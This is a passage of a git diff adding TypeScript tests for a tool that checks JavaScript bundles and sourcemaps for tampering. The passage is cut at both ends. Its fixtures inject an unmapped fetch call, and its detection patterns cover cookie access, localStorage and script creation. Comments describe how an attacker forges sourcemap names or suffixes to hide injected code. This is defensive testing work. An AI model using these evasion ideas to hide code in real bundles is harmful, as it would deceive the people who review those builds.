analyzeTokenConsistency(tracer, compiled, src); + expect(report.nameMismatches.length).toBe(1); + expect(report.nameMismatches[0]!.expectedName).toEqual('expectedName'); + }); + + it('analyzeTokenConsistency accepts embedded sourcesContent when index misses the source', () => { + const tracer = new TraceMap({ + version: 3, + sources: ['../src/main.js'], + sourcesContent: ['foo'], + names: [], + mappings: encode([[[0, 0, 0, 0]]]), + }); + const report = analyzeTokenConsistency(tracer, 'foo', new Map()); + expect(report.totalSampled).toBe(1); + expect(report.consistencyScore).toBe(1); + }); +}); + +describe('source-content-verification', () => { + it('emits a bytewise-mismatch finding when submitted and embedded diverge', async () => { + const tmp = makeTmpDir(); + writeFile(tmp, 'src/main.js', 'export const x = 1;\n'); + writeFile(tmp, 'dist/main.js', 'export const x = 1;\n'); + writeFile(tmp, 'dist/main.js.map', JSON.stringify({ + version: 3, + sources: ['../src/main.js'], + sourcesContent: ['export const x = 999999;\n'], + names: [], + mappings: encode([[[0, 0, 0, 0]]]), + })); + const res = await validateSourceContent({ + sourcePath: path.join(tmp, 'src'), + distPath: path.join(tmp, 'dist'), + }); + const bm = res.findings.filter(f => /byte|mismatch/i.test(f.message)); + expect(bm.length).toBeGreaterThan(0); + }); + + it('flags missing inline content when sourcesContent[i] is null', async () => { + const tmp = makeTmpDir(); + writeFile(tmp, 'src/main.js', 'export const x = 1;\n'); + writeFile(tmp, 'dist/main.js', 'export const x = 1;\n'); + writeFile(tmp, 'dist/main.js.map', JSON.stringify({ + version: 3, + sources: ['../src/main.js'], + sourcesContent: [null], + names: [], + mappings: encode([[[0, 0, 0, 0]]]), + })); + const res = await validateSourceContent({ + sourcePath: path.join(tmp, 'src'), + distPath: path.join(tmp, 'dist'), + }); + const missingInline = res.findings.filter(f => /inline|missing/i.test(f.message)); + expect(missingInline.length).toBeGreaterThan(0); + }); + + it('flags a virtual-source ratio above threshold', async () => { + const tmp = makeTmpDir(); + writeFile(tmp, 'src/main.js', 'x\n'); + writeFile(tmp, 'dist/main.js', 'x\n'); + // 6 of 6 sources virtual → 100% > 20% threshold. + writeFile(tmp, 'dist/main.js.map', JSON.stringify({ + version: 3, + sources: [ + 'webpack/runtime/a', + 'webpack/runtime/b', + 'webpack/runtime/c', + 'webpack/runtime/d', + 'webpack/runtime/e', + 'webpack/runtime/f', + ], + sourcesContent: [null, null, null, null, null, null], + names: [], + mappings: '', + })); + const res = await validateSourceContent({ + sourcePath: path.join(tmp, 'src'), + distPath: path.join(tmp, 'dist'), + }); + const excessive = res.findings.filter(f => /virtual/i.test(f.message)); + expect(excessive.length).toBeGreaterThan(0); + }); + + it('flags an unknown-source when normalized path is not in the index', async () => { + const tmp = makeTmpDir(); + writeFile(tmp, 'src/other.js', 'y\n'); + writeFile(tmp, 'dist/main.js', 'x\n'); + writeFile(tmp, 'dist/main.js.map', JSON.stringify({ + version: 3, + sources: ['../src/nowhere.js'], + sourcesContent: [null], + names: [], + mappings: '', + })); + const res = await validateSourceContent({ + sourcePath: path.join(tmp, 'src'), + distPath: path.join(tmp, 'dist'), + }); + const unknown = res.findings.filter(f => /unknown|references/i.test(f.message)); + expect(unknown.length).toBeGreaterThan(0); + }); + + it('surfaces a parse-fail finding when the sourcemap JSON is invalid', async () => { + const tmp = makeTmpDir(); + writeFile(tmp, 'src/main.js', 'x\n'); + writeFile(tmp, 'dist/main.js', 'x\n'); + writeFile(tmp, 'dist/main.js.map', 'not-json'); + const res = await validateSourceContent({ + sourcePath: path.join(tmp, 'src'), + distPath: path.join(tmp, 'dist'), + }); + expect(res.findings.length).toBeGreaterThan(0); + }); + + it('skipped when sourcePath is missing', async () => { + const tmp = makeTmpDir(); + writeFile(tmp, 'dist/main.js', 'x\n'); + const res = await validateSourceContent({ + sourcePath: path.join(tmp, 'nowhere'), + distPath: path.join(tmp, 'dist'), + }); + expect(res.skipped).toBeDefined(); + }); + + it('emits a coverage-below-threshold finding when significant nodes are largely unmapped', async () => { + const tmp = makeTmpDir(); + // Multiple significant nodes in compiled, but sourcemap has zero mappings → 0% coverage. + const src = 'const x = 1;\nconst y = 2;\nfunction z() { return 1; }\n'; + const compiled = 'const x = 1;\nconst y = 2;\nfunction z() { return 1; }\n'; + writeFile(tmp, 'src/main.js', src); + writeFile(tmp, 'dist/main.js', compiled); + writeFile(tmp, 'dist/main.js.map', JSON.stringify({ + version: 3, + sources: ['../src/main.js'], + sourcesContent: [src], + names: [], + mappings: '', // no mappings at all + })); + const res = await validateSourceContent({ + sourcePath: path.join(tmp, 'src'), + distPath: path.join(tmp, 'dist'), + }); + const coverage = res.findings.filter(f => /coverage/i.test(f.message)); + expect(coverage.length).toBeGreaterThan(0); + }); + + it('flags dangerous-unmapped snippets that appear past line 1', async () => { + const tmp = makeTmpDir(); + // Compiled has a fetch(...) on line 2 that maps to nothing. + writeFile(tmp, 'src/main.js', 'const x = 1;\n'); + writeFile(tmp, 'dist/main.js', 'const x = 1;\nfetch("https://x");\n'); + writeFile(tmp, 'dist/main.js.map', JSON.stringify({ + version: 3, + sources: ['../src/main.js'], + sourcesContent: ['const x = 1;\n'], + names: [], + mappings: '', + })); + const res = await validateSourceContent({ + sourcePath: path.join(tmp, 'src'), + distPath: path.join(tmp, 'dist'), + }); + const dangerous = res.findings.filter(f => /dangerous|unmapped/i.test(f.message)); + expect(dangerous.length).toBeGreaterThan(0); + }); + + it('surfaces a compiled-parse-failed finding when the JS cannot be parsed', async () => { + const tmp = makeTmpDir(); + writeFile(tmp, 'src/main.js', 'x\n'); + // Deliberately unparseable JS. + writeFile(tmp, 'dist/main.js', 'const;;; = ((\n'); + writeFile(tmp, 'dist/main.js.map', JSON.stringify({ + version: 3, + sources: ['../src/main.js'], + names: [], + mappings: '', + })); + const res = await validateSourceContent({ + sourcePath: path.join(tmp, 'src'), + distPath: path.join(tmp, 'dist'), + }); + // The parse failure path may or may not fire depending on Babel's error-recovery; + // at minimum, a coverage-below-threshold finding should surface. + expect(res.findings.length).toBeGreaterThan(0); + }); + + it('nodeTypesCompatible accepts equivalent pairs and rejects unrelated ones', () => { + expect(nodeTypesCompatible('CallExpression', 'CallExpression')).toBe(true); + expect(nodeTypesCompatible('FunctionDeclaration', 'ArrowFunctionExpression')).toBe(true); + expect(nodeTypesCompatible('CallExpression', 'NewExpression')).toBe(true); + expect(nodeTypesCompatible('AssignmentExpression', 'VariableDeclaration')).toBe(true); + expect(nodeTypesCompatible('VariableDeclaration', 'AssignmentExpression')).toBe(true); + expect(nodeTypesCompatible('MemberExpression', 'CallExpression')).toBe(true); + expect(nodeTypesCompatible('CallExpression', 'MemberExpression')).toBe(true); + expect(nodeTypesCompatible('ExportDeclaration', 'FunctionDeclaration')).toBe(true); + expect(nodeTypesCompatible('VariableDeclaration', 'ExportDeclaration')).toBe(true); + expect(nodeTypesCompatible('CallExpression', 'ClassDeclaration')).toBe(false); + expect(nodeTypesCompatible('ReturnStatement', 'ThrowStatement')).toBe(false); + }); + + it('normalizeNodeType collapses export forms to ExportDeclaration', () => { + expect(normalizeNodeType('ExportNamedDeclaration')).toBe('ExportDeclaration'); + expect(normalizeNodeType('ExportDefaultDeclaration')).toBe('ExportDeclaration'); + expect(normalizeNodeType('ExportAllDeclaration')).toBe('ExportDeclaration'); + expect(normalizeNodeType('CallExpression')).toBe('CallExpression'); + }); + + it('exercises the AST-node-lookup path with a mapped bundle so type-compat matrix is walked', async () => { + const tmp = makeTmpDir(); + // Source and compiled have identical shape; a single mapping at (0,0) sends + // AST search to a byte-offset in the source content — walking nodeTypesCompatible(). + const shared = 'export function foo() { return 1; }\n'; + writeFile(tmp, 'src/main.js', shared); + writeFile(tmp, 'dist/main.js', shared); + writeFile(tmp, 'dist/main.js.map', JSON.stringify({ + version: 3, + sources: ['../src/main.js'], + sourcesContent: [shared], + names: [], + // A mapping every few columns so multiple significant nodes land in source AST. + mappings: encode([[ + [0, 0, 0, 0], + [7, 0, 0, 7], + [16, 0, 0, 16], + [22, 0, 0, 22], + ]]), + })); + const res = await validateSourceContent({ + sourcePath: path.join(tmp, 'src'), + distPath: path.join(tmp, 'dist'), + }); + // Source and compiled are identical → the byte-equal check must not fire. + // If the AST-compat matrix regressed and started emitting spurious mismatches + // on identical content, this assertion will catch it. + const byteMismatches = res.findings.filter((f) => /byte|mismatch/i.test(f.message)); + expect(byteMismatches).toEqual([]); + }); + + it('does not raise orphan findings when mapped AST nodes resolve to virtual/dependency/asset sources', async () => { + const tmp = makeTmpDir(); + const shared = 'export function foo() { return 1; }\n'; + writeFile(tmp, 'src/main.js', shared); + writeFile(tmp, 'dist/main.js', shared); + writeFile(tmp, 'dist/main.js.map', JSON.stringify({ + version: 3, + // Three sources: one virtual (webpack/runtime prefix), one dependency (node_modules/), + // one asset (.png). None exist on disk; all should be skipped by runAstChecks. + sources: [ + '../webpack/runtime/foo', + '../node_modules/lib/index.js', + '../assets/sprite.png', + ], + sourcesContent: [null, null, null], + names: [], + mappings: encode([[ + [0, 0, 0, 0], + [7, 1, 0, 0], + [16, 2, 0, 0], + ]]), + })); + const res = await validateSourceContent({ + sourcePath: path.join(tmp, 'src'), + distPath: path.join(tmp, 'dist'), + }); + const orphanFindings = res.findings.filter((f) => /AST node source\(s\) not present/i.test(f.message)); + expect(orphanFindings).toEqual([]); + const unknownRefs = res.findings.filter((f) => /Sourcemap references source .* is not present/i.test(f.message)); + expect(unknownRefs).toEqual([]); + }); + + it('surfaces a sourcemap-unloadable finding when the map JSON parses but TraceMap rejects it', async () => { + const tmp = makeTmpDir(); + writeFile(tmp, 'src/main.js', 'x\n'); + writeFile(tmp, 'dist/main.js', 'x\n'); + // Missing "sources" field → TraceMap throws. + writeFile(tmp, 'dist/main.js.map', JSON.stringify({ + version: 3, + names: [], + mappings: '', + })); + const res = await validateSourceContent({ + sourcePath: path.join(tmp, 'src'), + distPath: path.join(tmp, 'dist'), + }); + const unloadable = res.findings.filter((f) => /could not be loaded|unloadable/i.test(f.message)); + expect(unloadable.length).toBeGreaterThan(0); + }); +}); + +describe('structural-coherence branch coverage', () => { + it('emits a whitespace-heavy finding when >80% of sampled mappings land on whitespace', async () => { + const tmp = makeTmpDir(); + // 12 mappings, first sampled every 10 (0, 10) both land into whitespace-only source lines. + // Source is all whitespace, compiled is short — TraceMap will map each into the same source col 0. + const emptySrc = ' \n \n \n \n \n \n'; + const compiled = 'a\n'; + writeFile(tmp, 'src/main.js', emptySrc); + writeFile(tmp, 'dist/main.js', compiled); + // Build a chain of 15 mappings on generated line 1. + const segs: SourceMapSegment[] = []; + for (let i = 0; i < 15; i++) segs.push([i, 0, 0, 0]); + writeFile(tmp, 'dist/main.js.map', JSON.stringify({ + version: 3, + sources: ['../src/main.js'], + sourcesContent: [emptySrc], + names: [], + mappings: encode([segs]), + })); + const res = await validateStructuralCoherence({ + sourcePath: path.join(tmp, 'src'), + distPath: path.join(tmp, 'dist'), + }); + const whitespaceFindings = res.findings.filter((f) => /whitespace|comment/i.test(f.message)); + expect(whitespaceFindings.length).toBeGreaterThan(0); + }); + + it('emits a cross-file-jump finding when consecutive tokens flip between sources', async () => { + const tmp = makeTmpDir(); + const srcA = 'aaaaa\n'; + const srcB = 'bbbbb\n'; + writeFile(tmp, 'src/a.js', srcA); + writeFile(tmp, 'src/b.js', srcB); + writeFile(tmp, 'dist/main.js', 'x'.repeat(10) + '\n'); + // 10 mappings on generated line 1 alternating between src[0] and src[1]. + const segs: SourceMapSegment[] = []; + // Segments are relative-encoded; use absolute values via a chain of alternating source-index deltas. + // encode() re-encodes properly. + let genCol = 0; + for (let i = 0; i < 10; i++) { + segs.push([genCol, i % 2, 0, 0]); + genCol += 1; + } + writeFile(tmp, 'dist/main.js.map', JSON.stringify({ + version: 3, + sources: ['../src/a.js', '../src/b.js'], + sourcesContent: [srcA, srcB], + names: [], + mappings: encode([segs]), + })); + const res = await validateStructuralCoherence({ + sourcePath: path.join(tmp, 'src'), + distPath: path.join(tmp, 'dist'), + }); + const jumpFindings = res.findings.filter((f) => /cross-file jump|jump ratio/i.test(f.message)); + expect(jumpFindings.length).toBeGreaterThan(0); + }); +}); + +describe('walk() ENOENT tolerance', () => { + it('validateVlqIntegrity on missing dist returns findings=[]', async () => { + const missing = path.join(makeTmpDir(), 'nope'); + const res = await validateVlqIntegrity(missing); + expect(res.findings).toEqual([]); + }); + + it('validateCoverageAnalysis on missing dist returns skipped', async () => { + const missing = path.join(makeTmpDir(), 'nope'); + const res = await validateCoverageAnalysis(missing); + expect(res.skipped).toBeDefined(); + }); +}); + diff --git a/packages/code-analyzer-uibundle-engine/test/validators.test.ts b/packages/code-analyzer-uibundle-engine/test/validators.test.ts new file mode 100644 index 00000000..c2bfd65e --- /dev/null +++ b/packages/code-analyzer-uibundle-engine/test/validators.test.ts @@ -0,0 +1,600 @@ +import { encode, type SourceMapSegment } from "@jridgewell/sourcemap-codec"; +import { TraceMap, type SourceMapInput } from "@jridgewell/trace-mapping"; +import { EngineRunResults, Workspace } from "@salesforce/code-analyzer-engine-api"; +import * as path from "node:path"; +import { UIBundleEngine } from "../src/engine"; +import { + containsDangerousApi, + containsDangerousPattern, + isAsset, + isCompiledJs, + isDependency, + isSourcemap, + isVirtualSource, + normalizeSourcePath, +} from "../src/validators/classification"; +import { analyzeCoverage, validateCoverageAnalysis } from "../src/validators/coverage-analysis"; +import { validateInvalidSourceReferences } from "../src/validators/invalid-source-references"; +import { validateMissingSourcemaps } from "../src/validators/missing-sourcemap"; +import { validatePathLeakage } from "../src/validators/path-leakage"; +import { validateSourceContent } from "../src/validators/source-content-verification"; +import { + analyzeCoherence, + pointsToWhitespaceOrComment, + validateStructuralCoherence, +} from "../src/validators/structural-coherence"; +import { + analyzeTokenConsistency, + classifyTokenAt, + validateTokenConsistency, +} from "../src/validators/token-consistency"; +import { validateVlqIntegrity } from "../src/validators/vlq-integrity"; +import { changeWorkingDirectoryToPackageRoot, createRunOptions, installTmpDirCleanup, makeTmpDir, writeFile } from "./test-helpers"; + +changeWorkingDirectoryToPackageRoot(); +installTmpDirCleanup(); + +describe('classification', () => { + it('normalizes leading dot-slash and dot-dot segments and bundler URL schemes', () => { + expect(normalizeSourcePath('./src/foo.js')).toEqual('src/foo.js'); + expect(normalizeSourcePath('../src/foo.js')).toEqual('src/foo.js'); + expect(normalizeSourcePath('/src/foo.js')).toEqual('src/foo.js'); + expect(normalizeSourcePath('webpack:///src/foo.js')).toEqual('src/foo.js'); + expect(normalizeSourcePath('webpack://src/foo.js')).toEqual('src/foo.js'); + }); + + it('identifies virtual, dependency, and asset sources', () => { + // The virtual predicate hits on bundler-runtime prefixes and concrete Vite/webpack query forms. + expect(isVirtualSource('webpack/runtime/hasOwnProperty')).toEqual(true); + expect(isVirtualSource('vite/dist/client/env.mjs')).toEqual(true); + expect(isVirtualSource('src/App.vue?vue&type=script&lang.ts')).toEqual(true); + expect(isVirtualSource('src/logo.svg?url')).toEqual(true); + expect(isVirtualSource('src/worker.js?worker')).toEqual(true); + expect(isVirtualSource('src/style.css?inline')).toEqual(true); + expect(isVirtualSource('src/x.js')).toEqual(false); + // Attacker suffixes must not launder a real source path past byte-equal / AST checks. + expect(isVirtualSource('src/injected.js?x')).toEqual(false); + expect(isVirtualSource('src/x.js?tampered')).toEqual(false); + expect(isVirtualSource('src/injected.js?x=1')).toEqual(false); + expect(isVirtualSource('src/x.js?tampered=1')).toEqual(false); + expect(isVirtualSource('src/x.js?type=anything')).toEqual(false); + expect(isDependency('node_modules/foo/index.js')).toEqual(true); + expect(isDependency('packages/pkg/node_modules/foo/index.js')).toEqual(true); + expect(isDependency('src/x.js')).toEqual(false); + expect(isAsset('logo.png')).toEqual(true); + expect(isAsset('src/x.ts')).toEqual(false); + // Compiled-JS predicate accepts .js/.mjs/.cjs (bundlers emit all three). + expect(isCompiledJs('dist/main.js')).toEqual(true); + expect(isCompiledJs('dist/main.mjs')).toEqual(true); + expect(isCompiledJs('dist/main.cjs')).toEqual(true); + expect(isCompiledJs('dist/main.js.map')).toEqual(false); + expect(isCompiledJs('src/main.ts')).toEqual(false); + // Sourcemap predicate mirrors the compiled-JS extensions. + expect(isSourcemap('dist/main.js.map')).toEqual(true); + expect(isSourcemap('dist/main.mjs.map')).toEqual(true); + expect(isSourcemap('dist/main.cjs.map')).toEqual(true); + expect(isSourcemap('dist/main.js')).toEqual(false); + }); + + it('flags dangerous API patterns in code and dangerous-only extras', () => { + // Detects known API-scan strings (e.g. eval/Function tokens are stored split at rest). + expect(containsDangerousApi('document.cookie = "x=1"')).toEqual(true); + expect(containsDangerousApi('localStorage.setItem("a", "b")')).toEqual(true); + expect(containsDangerousApi('const a = 1;')).toEqual(false); + + // AST-extra patterns catch bundler-safe helpers plus the base set. + expect(containsDangerousPattern('fetch("https://x")')).toEqual(true); + expect(containsDangerousPattern('doc.createElement("script")')).toEqual(true); + expect(containsDangerousPattern('normal function foo() {}')).toEqual(false); + }); +}); + +describe('analyzeCoverage', () => { + function makeTraceMapWithCoverage(mappings: SourceMapSegment[][]): TraceMap { + const encoded = encode(mappings); + return new TraceMap({ + version: 3, + sources: ['../src/main.js'], + names: [], + mappings: encoded, + } as SourceMapInput); + } + + it('flags a long fully-unmapped line as an unmapped region', () => { + const tracer = makeTraceMapWithCoverage([[]]); + const compiled = 'a'.repeat(60) + '\n'; + const report = analyzeCoverage(tracer, compiled); + expect(report.unmappedRegions.length).toBeGreaterThan(0); + expect(report.unmappedRegions[0]!.length).toBeGreaterThanOrEqual(50); + }); + + it('does not flag a short line', () => { + const tracer = makeTraceMapWithCoverage([[]]); + const compiled = 'short\n'; + const report = analyzeCoverage(tracer, compiled); + expect(report.unmappedRegions).toHaveLength(0); + }); + + it('exempts up to 2000 chars on line 1 when computing excessive-unmapped budget', () => { + // line 1 is fully unmapped but only 100 chars — should NOT count toward budget. + const tracer = makeTraceMapWithCoverage([[]]); + const compiled = 'a'.repeat(100) + '\n'; + const report = analyzeCoverage(tracer, compiled); + expect(report.excessiveUnmapped).toEqual(false); + }); + + it('does not over-credit a minified line with a single mapping at column 0', () => { + // A single mapping cannot silently credit the whole line — anything past the + // per-mapping reach must be flagged unmapped and reduce mappedChars. + const tracer = makeTraceMapWithCoverage([[[0, 0, 0, 0]]]); + const lineLen = 100000; + const compiled = 'a'.repeat(lineLen); + const report = analyzeCoverage(tracer, compiled); + expect(report.coveragePct).toBeLessThan(50); + expect(report.unmappedRegions.length).toBeGreaterThan(0); + }); + + it('dense single-line output tolerates small ambient gaps (structural, not tamper)', () => { + // Dense minified line: a mapping every ~50 chars over 6000 chars — none of those + // ~50-char gaps should be flagged. Ambient bundler shape, not injected code. + const segments: SourceMapSegment[] = []; + for (let i = 0; i < 120; i++) { + segments.push([i * 50, 0, 0, i]); + } + const tracer = makeTraceMapWithCoverage([segments]); + const compiled = 'a'.repeat(6000); + const report = analyzeCoverage(tracer, compiled); + expect(report.unmappedRegions).toHaveLength(0); + }); + + it('REGRESSION: dense single-line still flags a substantial (>=2000-char) unmapped gap', () => { + // Same shape as above, but with a ~2500-char gap in the middle. This is the + // "injected block" case on dense minified output — must still fire. + const segments: SourceMapSegment[] = []; + for (let i = 0; i < 60; i++) segments.push([i * 50, 0, 0, i]); + // skip cols 3000..5500 → no mapping in that window + for (let i = 0; i < 100; i++) segments.push([5500 + i * 50, 0, 0, 60 + i]); + const tracer = makeTraceMapWithCoverage([segments]); + const compiled = 'a'.repeat(11000); + const report = analyzeCoverage(tracer, compiled); + const injected = report.unmappedRegions.find(r => r.length >= 2000); + expect(injected).toBeDefined(); + }); + + it('dense single-line tolerates ambient gaps under 2000 chars', () => { + // Ambient gap of ~1500 chars on a dense minified line should now be tolerated. + // Smaller injections are caught by source-content-verification, not this rule. + const segments: SourceMapSegment[] = []; + for (let i = 0; i < 60; i++) segments.push([i * 50, 0, 0, i]); + for (let i = 0; i < 100; i++) segments.push([4500 + i * 50, 0, 0, 60 + i]); + const tracer = makeTraceMapWithCoverage([segments]); + const compiled = 'a'.repeat(10000); + const report = analyzeCoverage(tracer, compiled); + expect(report.unmappedRegions).toHaveLength(0); + }); + + it('REGRESSION: short multi-line output still uses the 50-char threshold', () => { + // Non-minified shape: fully-unmapped 80-char second line must still fire. + const tracer = makeTraceMapWithCoverage([[]]); + const compiled = 'short\n' + 'a'.repeat(80) + '\n'; + const report = analyzeCoverage(tracer, compiled); + expect(report.unmappedRegions.some(r => r.line === 2)).toBe(true); + }); +}); + +describe('validateCoverageAnalysis emission cap', () => { + it('caps per-file region emissions to the top 5 by size, always including the largest', async () => { + const tmp = makeTmpDir(); + // Craft a dist file where 10 substantial unmapped regions exist on a dense line. + // The engine must emit at most 5 findings, and must include the largest one. + const segments: SourceMapSegment[] = []; + const gaps = [2100, 2200, 2400, 2500, 2600, 2700, 8000, 2900, 3000, 3100]; + let pos = 0; + for (const gap of gaps) { + segments.push([pos, 0, 0, pos]); + pos += gap; + segments.push([pos, 0, 0, pos]); + pos += 100; + } + writeFile(tmp, 'dist/main.js', 'a'.repeat(pos + 100)); + writeFile(tmp, 'dist/main.js.map', JSON.stringify({ + version: 3, + sources: ['../src/main.js'], + names: [], + mappings: encode([segments]), + })); + const res = await validateCoverageAnalysis(path.join(tmp, 'dist')); + const regionFindings = res.findings.filter(f => f.message.startsWith('Unmapped region')); + expect(regionFindings.length).toBeLessThanOrEqual(5); + // The largest region (~7950 chars, after subtracting the 50-char mapping reach) + // must be represented in the emitted set — cap must not drop the biggest gap. + const sizes = regionFindings.map((f: { message: string }) => { + const m = f.message.match(/\((\d+) chars\)/); + return m ? Number(m[1]) : 0; + }); + expect(Math.max(...sizes)).toBeGreaterThanOrEqual(7000); + }); +}); + +describe('pointsToWhitespaceOrComment', () => { + it('detects whitespace-only after column', () => { + // Points into a run of trailing whitespace with no non-whitespace after it. + expect(pointsToWhitespaceOrComment('let x = 1; ', 0, 11)).toEqual(true); + }); + it('detects line comment prefix', () => { + expect(pointsToWhitespaceOrComment('// hello', 0, 0)).toEqual(true); + }); + it('detects block comment prefix', () => { + expect(pointsToWhitespaceOrComment('/* hello */', 0, 0)).toEqual(true); + }); + it('returns false on a real identifier', () => { + expect(pointsToWhitespaceOrComment('let x = 1;', 0, 4)).toEqual(false); + }); +}); + +describe('classifyTokenAt', () => { + it('recognizes strings, numbers, identifiers, and punctuation', () => { + expect(classifyTokenAt('"a"', 0, 0)).toEqual('StringLiteral'); + expect(classifyTokenAt("'a'", 0, 0)).toEqual('StringLiteral'); + expect(classifyTokenAt('`a`', 0, 0)).toEqual('StringLiteral'); + expect(classifyTokenAt('42', 0, 0)).toEqual('NumericLiteral'); + expect(classifyTokenAt('foo', 0, 0)).toEqual('Identifier'); + expect(classifyTokenAt('{', 0, 0)).toEqual('Punctuation'); + expect(classifyTokenAt(' ', 0, 0)).toEqual('Other'); + expect(classifyTokenAt('', 0, 0)).toEqual('Other'); + expect(classifyTokenAt('abc', 5, 0)).toEqual('Other'); + }); +}); + +describe('analyzeCoherence', () => { + it('reports zero bounds violations for an in-range mapping', () => { + // Mapping [[[0,0,0,0]]] → generated line 1 col 0 → src 0 line 0 col 0 + const mapJson = { + version: 3, + sources: ['../src/main.js'], + names: [], + mappings: encode([[[0, 0, 0, 0]]]), + }; + const tracer = new TraceMap(mapJson as SourceMapInput); + const src = new Map([['src/main.js', 'let x = 1;\nlet y = 2;\n']]); + const report = analyzeCoherence(tracer, src); + expect(report.totalMappingsChecked).toEqual(1); + expect(report.boundsViolations).toHaveLength(0); + }); + + it('reports a bounds violation when the mapping claims a line past EOF', () => { + // Segment [0,0,99,0] → src file line index 99 which does not exist. + const mapJson = { + version: 3, + sources: ['../src/main.js'], + names: [], + mappings: encode([[[0, 0, 99, 0]]]), + }; + const tracer = new TraceMap(mapJson as SourceMapInput); + const src = new Map([['src/main.js', 'let x = 1;\n']]); + const report = analyzeCoherence(tracer, src); + expect(report.boundsViolations.length).toBeGreaterThan(0); + }); +}); + +describe('analyzeTokenConsistency', () => { + it('returns a perfect score when compiled and source tokens agree', () => { + // Both sides point to identifiers. + const mapJson = { + version: 3, + sources: ['../src/main.js'], + names: [], + mappings: encode([[[0, 0, 0, 0]]]), + }; + const tracer = new TraceMap(mapJson as SourceMapInput); + const compiled = 'foo'; + const src = new Map([['src/main.js', 'foo']]); + const report = analyzeTokenConsistency(tracer, compiled, src); + expect(report.totalSampled).toEqual(1); + expect(report.consistencyScore).toEqual(1); + }); + + it('suppresses jsx-runtime synthetic name mismatches on .tsx sources', () => { + // Vite JSX transform emits `_jsx` at compiled pos, but source at claimed pos is `<`. + // With suppression, this whole sample should be excluded from the score. + const mapJson = { + version: 3, + sources: ['../src/App.tsx'], + names: ['jsx'], + mappings: encode([[[0, 0, 0, 0, 0]]]), + }; + const tracer = new TraceMap(mapJson as SourceMapInput); + const compiled = '_jsx(Foo)'; + const src = new Map([['src/App.tsx', '']]); + const report = analyzeTokenConsistency(tracer, compiled, src); + expect(report.nameMismatches).toHaveLength(0); + expect(report.totalSampled).toEqual(0); + }); + + it('REGRESSION: does NOT suppress a fabricated non-jsx name on a .tsx source', () => { + // Attacker forges the name "adminOverride" pointing at a .tsx position that + // doesn't contain that identifier. Must still fire — suppression is name-scoped. + const mapJson = { + version: 3, + sources: ['../src/App.tsx'], + names: ['adminOverride'], + mappings: encode([[[0, 0, 0, 0, 0]]]), + }; + const tracer = new TraceMap(mapJson as SourceMapInput); + const compiled = 'x'; + const src = new Map([['src/App.tsx', '']]); + const report = analyzeTokenConsistency(tracer, compiled, src); + expect(report.nameMismatches.length).toBeGreaterThan(0); + expect(report.nameMismatches[0]!.expectedName).toEqual('adminOverride'); + }); + + it('REGRESSION: does NOT suppress a jsx-runtime name on a non-JSX source', () => { + // Same synthetic name but the source is `.js` — attacker cannot hide behind + // JSX-runtime suppression on a plain JS file. + const mapJson = { + version: 3, + sources: ['../src/main.js'], + names: ['jsx'], + mappings: encode([[[0, 0, 0, 0, 0]]]), + }; + const tracer = new TraceMap(mapJson as SourceMapInput); + const compiled = 'x'; + const src = new Map([['src/main.js', 'const y = 1;']]); + const report = analyzeTokenConsistency(tracer, compiled, src); + expect(report.nameMismatches.length).toBeGreaterThan(0); + expect(report.nameMismatches[0]!.expectedName).toEqual('jsx'); + }); + + it('suppresses namespace-prefix name mismatches (Radix-style)', () => { + // Bundler emits qualified name "SelectPrimitive.Viewport" but sourcemap points at + // the container identifier. Legitimate structural pattern — no finding expected. + const mapJson = { + version: 3, + sources: ['../src/ui/select.tsx'], + names: ['SelectPrimitive.Viewport'], + mappings: encode([[[0, 0, 0, 0, 0]]]), + }; + const tracer = new TraceMap(mapJson as SourceMapInput); + const compiled = 'SelectPrimitive.Viewport'; + const src = new Map([['src/ui/select.tsx', 'SelectPrimitive']]); + const report = analyzeTokenConsistency(tracer, compiled, src); + expect(report.nameMismatches).toHaveLength(0); + }); + + it('REGRESSION: does NOT suppress a qualified name whose left segment is wrong', () => { + // Attacker forges "AdminOverride.execute" at a position holding "PublicApi". + // Found text ≠ leftmost segment → suppression does not apply → must fire. + const mapJson = { + version: 3, + sources: ['../src/ui/select.tsx'], + names: ['AdminOverride.execute'], + mappings: encode([[[0, 0, 0, 0, 0]]]), + }; + const tracer = new TraceMap(mapJson as SourceMapInput); + const compiled = 'x'; + const src = new Map([['src/ui/select.tsx', 'PublicApi.method']]); + const report = analyzeTokenConsistency(tracer, compiled, src); + expect(report.nameMismatches.length).toBeGreaterThan(0); + expect(report.nameMismatches[0]!.expectedName).toEqual('AdminOverride.execute'); + }); + + it('REGRESSION: does NOT suppress a single-segment mismatch', () => { + // Ordinary (non-qualified) name mismatch: no '.' in expected → suppression must + // not apply. Attacker-forged unrelated identifiers stay caught. + const mapJson = { + version: 3, + sources: ['../src/ui/select.tsx'], + names: ['stealth'], + mappings: encode([[[0, 0, 0, 0, 0]]]), + }; + const tracer = new TraceMap(mapJson as SourceMapInput); + const compiled = 'x'; + const src = new Map([['src/ui/select.tsx', 'legit_var = 1;']]); + const report = analyzeTokenConsistency(tracer, compiled, src); + expect(report.nameMismatches.length).toBeGreaterThan(0); + }); +}); + +describe('End-to-end validator dispatch (all rules together)', () => { + it('dispatches all 8 rules against a fully-populated bundle without crashing', async () => { + const engine = new UIBundleEngine(); + const tmp = makeTmpDir(); + writeFile(tmp, 'ui-bundle.json', '{}'); + + const src = 'export const answer = 42;\n'; + const compiled = 'export const answer = 42;\n//# sourceMappingURL=main.js.map\n'; + writeFile(tmp, 'src/main.js', src); + writeFile(tmp, 'dist/main.js', compiled); + writeFile(tmp, 'dist/main.js.map', JSON.stringify({ + version: 3, + sources: ['../src/main.js'], + sourcesContent: [src], + names: [], + mappings: encode([[[0, 0, 0, 0]]]), + })); + + const results: EngineRunResults = await engine.runRules( + [ + 'missing-sourcemap', + 'path-leakage', + 'invalid-source-references', + 'vlq-integrity', + 'source-content-verification', + 'coverage-analysis', + 'structural-coherence', + 'token-consistency', + ], + createRunOptions(new Workspace('id', [tmp])), + ); + // Every violation should carry 1-based coordinates and be one of the 8 rule names. + for (const v of results.violations) { + expect([ + 'missing-sourcemap', + 'path-leakage', + 'invalid-source-references', + 'vlq-integrity', + 'source-content-verification', + 'coverage-analysis', + 'structural-coherence', + 'token-consistency', + ]).toContain(v.ruleName); + expect(v.codeLocations[0]!.startLine).toBeGreaterThanOrEqual(1); + expect(v.codeLocations[0]!.startColumn).toBeGreaterThanOrEqual(1); + } + }); + + it('validators handle missing input paths gracefully', async () => { + const missing = path.join(makeTmpDir(), 'does-not-exist'); + + // Dist-only walkers silently return an empty result set for missing dirs. + const missingRef = await validateInvalidSourceReferences(missing); + expect(missingRef.findings).toEqual([]); + const missingLeak = await validatePathLeakage(missing); + expect(missingLeak.findings).toEqual([]); + const 